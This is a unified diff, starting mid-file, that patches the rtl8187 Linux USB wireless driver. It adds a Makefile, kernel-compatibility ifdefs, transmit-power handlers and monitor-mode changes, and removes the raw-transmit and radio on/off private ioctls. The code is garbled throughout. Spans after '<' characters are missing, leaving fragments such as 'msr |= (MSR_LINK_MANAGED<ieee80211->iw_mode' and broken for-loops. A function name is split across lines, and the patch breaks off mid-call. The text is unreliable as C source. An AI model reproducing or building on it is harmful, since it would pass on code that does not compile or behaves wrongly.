+0100 +++ r8187_rawtx/Makefile 2007-05-13 09:54:38.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C rtl8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./rtl8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C rtl8187 $(@) + +distclean: clean + diff -Naur r8187_orig/rtl8187/ieee80211.h r8187_rawtx/rtl8187/ieee80211.h --- r8187_orig/rtl8187/ieee80211.h 2007-12-05 09:50:41.000000000 +0100 +++ r8187_rawtx/rtl8187/ieee80211.h 2007-05-16 21:51:38.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/rtl8187/r8180_hw.h r8187_rawtx/rtl8187/r8180_hw.h --- r8187_orig/rtl8187/r8180_hw.h 2007-12-03 12:30:10.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_hw.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,16 +1,16 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official Realtek driver. - Parts of this driver are based on the rtl8180 driver skeleton + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. - Parts of this driver are based on the Intel Pro Wireless + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -20,7 +20,7 @@ #ifndef R8180_HW #define R8180_HW -#define MAX_SLEEP_TIME (10000000) +#define MAX_SLEEP_TIME (10000000) #define MIN_SLEEP_TIME (50000) #define RTL8187_RF_INDEX 0x8225 @@ -80,7 +80,7 @@ #define EPROM_CMD_OPERATING_MODE_SHIFT 6 #define EPROM_CMD_OPERATING_MODE_MASK ((1<<7)|(1<<6)) #define EPROM_CMD_CONFIG 0x3 -#define EPROM_CMD_NORMAL 0 +#define EPROM_CMD_NORMAL 0 #define EPROM_CMD_LOAD 1 #define EPROM_CMD_PROGRAM 2 #define EPROM_CS_SHIFT 3 @@ -193,8 +193,8 @@ -/* - * Operational registers offsets in PCI (I/O) space. +/* + * Operational registers offsets in PCI (I/O) space. * RealTek names are used. */ @@ -310,7 +310,7 @@ /* following are for rtl8185 */ #define RFPinsOutput 0x80 #define RFPinsEnable 0x82 -#define RF_TIMING 0x8c +#define RF_TIMING 0x8c #define RFPinsSelect 0x84 #define ANAPARAM2 0x60 #define RF_PARA 0x88 @@ -339,7 +339,7 @@ #define MIN_RESP_RATE_SHIFT 0 #define RATE_FALLBACK 0xbe /* - * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) * is set to 1 */ @@ -380,7 +380,7 @@ /* - * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) * is set to 0 */ @@ -437,7 +437,7 @@ /* - * Bitmasks for specific register functions. + * Bitmasks for specific register functions. * Names are derived from the register name and function name. * * _[] @@ -501,7 +501,7 @@ #define TCR_HWVERID_SHIFT 25 #define TCR_SWPLCPLEN ((1<<24)) #define TCR_PLCP_LEN TCR_SAT // rtl8180 -#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) +#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) #define TCR_MXDMA_1024 6 #define TCR_MXDMA_2048 7 #define TCR_MXDMA_SHIFT 21 diff -Naur r8187_orig/rtl8187/r8180_rtl8225.h r8187_rawtx/rtl8187/r8180_rtl8225.h --- r8187_orig/rtl8187/r8180_rtl8225.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_rtl8225.h 2007-05-16 21:51:38.000000000 +0200 @@ -48,4 +48,5 @@ extern u32 rtl8225_chan[]; +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); #endif diff -Naur r8187_orig/rtl8187/r8180_wx.c r8187_rawtx/rtl8187/r8180_wx.c --- r8187_orig/rtl8187/r8180_wx.c 2007-03-02 04:22:29.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_wx.c 2007-05-16 21:51:33.000000000 +0200 @@ -21,7 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" - +#include "r8180_rtl8225.h" //#define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, @@ -121,22 +121,72 @@ return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; } +#endif static int r8180_wx_set_rts(struct net_device *dev, struct iw_request_info *info, @@ -836,6 +886,7 @@ } +#if 0 static int r8180_wx_radio_on(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -871,6 +922,7 @@ return 0; } +#endif static int r8180_wx_set_channelplan(struct net_device *dev, struct iw_request_info *info, @@ -965,8 +1017,8 @@ r8180_wx_get_rts, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -1007,7 +1059,7 @@ }, { SIOCIWFIRSTPRIV + 0x6, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x7, 0, 0, "dummy" @@ -1053,11 +1105,11 @@ }, { SIOCIWFIRSTPRIV + 0x12, - 0, 0, "radioon" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x13, - 0, 0, "radiooff" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x14, @@ -1089,7 +1141,7 @@ dummy, r8180_wx_set_scan_type, dummy, - r8180_wx_set_rawtx, + dummy, dummy, r8180_wx_set_iwmode, r8180_wx_get_iwmode, @@ -1101,8 +1153,8 @@ r8180_wx_get_sigqual, r8180_wx_reset_stats, dummy, - r8180_wx_radio_on, - r8180_wx_radio_off, + dummy, + dummy, r8180_wx_set_channelplan, r8180_wx_get_channelplan, dummy, diff -Naur r8187_orig/rtl8187/r8187_core.c r8187_rawtx/rtl8187/r8187_core.c --- r8187_orig/rtl8187/r8187_core.c 2007-03-28 08:39:13.000000000 +0200 +++ r8187_rawtx/rtl8187/r8187_core.c 2007-05-16 21:51:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -83,6 +83,10 @@ #define USB_VENDOR_ID_NETGEAR 0x0846 #endif +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif + static struct usb_device_id rtl8187_usb_id_tbl[] = { {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, @@ -137,7 +141,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -161,10 +165,10 @@ void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +177,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +189,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +201,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -225,20 +229,20 @@ u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -251,14 +255,14 @@ u32 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,8 +275,17 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work); +#else void rtl8180_rq_tx_ack(struct net_device *dev); +#endif + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else +void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -286,12 +299,12 @@ { struct net_device *dev = data; // struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -308,7 +321,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -321,15 +334,15 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -341,12 +354,12 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; unsigned long totalOK; totalOK=priv->stats.txnpokint+priv->stats.txhpokint+priv->stats.txlpokint; - + len += snprintf(page + len, count - len, /* "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -363,7 +376,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -391,13 +404,13 @@ priv->stats.txerr, priv->stats.txretry, priv->stats.txbeaconok, - priv->stats.txbeaconerr + priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -407,9 +420,9 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, /*"RX packets: %lu\n" "RX urb status error: %lu\n" @@ -431,21 +444,22 @@ priv->stats.rxicverr ); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -477,8 +491,8 @@ { struct proc_dir_entry *e; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -488,7 +502,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -497,17 +511,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -516,27 +530,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -552,14 +566,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } @@ -600,9 +614,9 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { printk( "\nD: %2x> ", n); @@ -619,11 +633,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -633,7 +647,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -657,27 +671,27 @@ { struct r8180_priv *priv = ieee80211_priv(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); @@ -715,25 +729,25 @@ { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int err; - + // u8 *rx; - + //DMESG("starting RX"); /*rx = kmalloc(RX_URB_SIZE*sizeof(u8),GFP_ATOMIC); - if(!rx){ + if(!rx){ DMESGE("unable to allocate RX buffer"); return; }*/ - + usb_fill_bulk_urb(rx_urb,priv->udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + RX_URB_SIZE,rtl8187_rx_isr, dev); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } @@ -741,30 +755,30 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); priv->tx_urb_index = 0; - + } void rtl8187_set_rxconf(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); priv->dma_poll_mask |= (1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -971,13 +988,13 @@ int i; u32 *tmp; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -996,15 +1013,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -1012,19 +1029,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } @@ -1089,49 +1106,49 @@ u16 N_DBPSOfRate(u16 DataRate) { u16 N_DBPS = 24; - + switch(DataRate) { case 60: N_DBPS = 24; break; - + case 90: N_DBPS = 36; break; - + case 120: N_DBPS = 48; break; - + case 180: N_DBPS = 72; break; - + case 240: N_DBPS = 96; break; - + case 360: N_DBPS = 144; break; - + case 480: N_DBPS = 192; break; - + case 540: N_DBPS = 216; break; - + default: break; } - + return N_DBPS; } -u16 ComputeTxTime( +u16 ComputeTxTime( u16 FrameLength, u16 DataRate, u8 bManagementFrame, @@ -1146,7 +1163,7 @@ { if( bManagementFrame || !bShortPreamble || DataRate == 10 ) { // long preamble - FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); + FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); } else { // Short preamble @@ -1156,14 +1173,14 @@ FrameTime ++; } else { //802.11g DSSS-OFDM PLCP length field calculation. N_DBPS = N_DBPSOfRate(DataRate); - Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + (((16 + 8*FrameLength + 6) % N_DBPS) ? 1 : 0); FrameTime = (u16)(16 + 4 + 4*Ceiling + 6); } return FrameTime; } - + #if 0 void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { @@ -1172,7 +1189,7 @@ priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #endif @@ -1223,13 +1240,14 @@ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + morefrag = 1; // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1238,25 +1256,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); ieee80211_stop_queue(priv->ieee80211); } - - + rtl8180_tx(dev, skb->data, 